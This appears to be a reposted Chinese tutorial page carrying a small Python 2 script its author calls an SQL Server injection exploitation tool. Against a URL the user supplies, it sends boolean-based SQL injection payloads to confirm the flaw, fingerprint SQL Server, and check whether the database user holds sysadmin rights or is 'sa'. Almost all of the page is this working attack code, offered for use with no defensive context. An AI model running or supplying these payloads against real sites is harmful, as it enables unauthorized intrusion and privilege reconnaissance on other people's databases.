Python編寫檢測資料庫SA使用者的方法

來源:互聯網
上載者:User
本文講述一個用Python寫的小程式,用於有注入點的連結,以檢測當前資料庫使用者是否為sa,詳細代碼如下:

# Code by zhaoxiaobu Email: little.bu@hotmail.com  #-*- coding: UTF-8 -*-  from sys import exit  from urllib import urlopen  from string import join,strip  from re import search   def is_sqlable():   sql1="%20and%201=2"   sql2="%20and%201=1"   urlfile1=urlopen(url+sql1)   urlfile2=urlopen(url+sql2)   htmlcodes1=urlfile1.read()   htmlcodes2=urlfile2.read()   if not search(judge,htmlcodes1) and search(judge,htmlcodes2):   print "[資訊]恭喜!這個URL是有注入漏洞的!n"   print "[資訊]現在判斷資料庫是否是SQL Server,請耐心等候....."    is_SQLServer()   else:   print "[錯誤]你確定這個URL能用?換個別的試試吧!n"def is_SQLServer():   sql = "%20and%20exists%20(select%20*%20from%20sysobjects)"   urlfile=urlopen(url+sql)   htmlcodes=urlfile.read()   if not search(judge,htmlcodes):   print "[錯誤]資料庫好像不是SQL Server的!n"   else:   print "[資訊]確認是SQL Server資料庫!n"   print "[資訊]開始檢測當前資料庫使用者權限,請耐心等待......"   is_sysadmin()   def is_sysadmin():    sql = "%20and%201=(select%20IS_SRVROLEMEMBER('sysadmin'))"   urlfile = urlopen(url+sql)    htmlcodes = urlfile.read()    if not search(judge,htmlcodes):      print "[錯誤]當前資料庫使用者不具有sysadmin許可權!n"   else:      print "[資訊]當前資料庫使用者具有sysadmin許可權!n"     print "[資訊]檢測目前使用者是不是SA,請耐心等待......"     is_sa()   def is_sa():    sql = "%20and%20'sa'=(select%20System_user)";   urlfile = urlopen(url+sql)    htmlcodes = urlfile.read()    if not search(judge,htmlcodes):      print "[錯誤]當前資料庫使用者不是SA!n"   else:      print "[資訊]當前資料庫使用者是SA!n"  print "n########################################################################n"  print "            ^o^SQL Server注入利用工具^o^     "  print "           Email: little.bu@hotmail.comn"  print "========================================================================";  url = raw_input('[資訊]請輸入一個可能有注入漏洞的連結!nURL:')  if url == '':    print "[錯誤]提供的URL必須具有 '.asp?xxx=' 這樣的格式"    exit(1)   judge = raw_input("[資訊]請提供一個判斷字串.n判斷字串:")  if judge == '':    print "[錯誤]判斷字串不可為空!"    exit(1)   is_sqlable()
  • 聯繫我們

    該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

    如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

    A Free Trial That Lets You Build Big!

    Start building with 50+ products and up to 12 months usage for Elastic Compute Service

    • Sales Support

      1 on 1 presale consultation

    • After-Sales Support

      24/7 Technical Support 6 Free Tickets per Quarter Faster Response

    • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.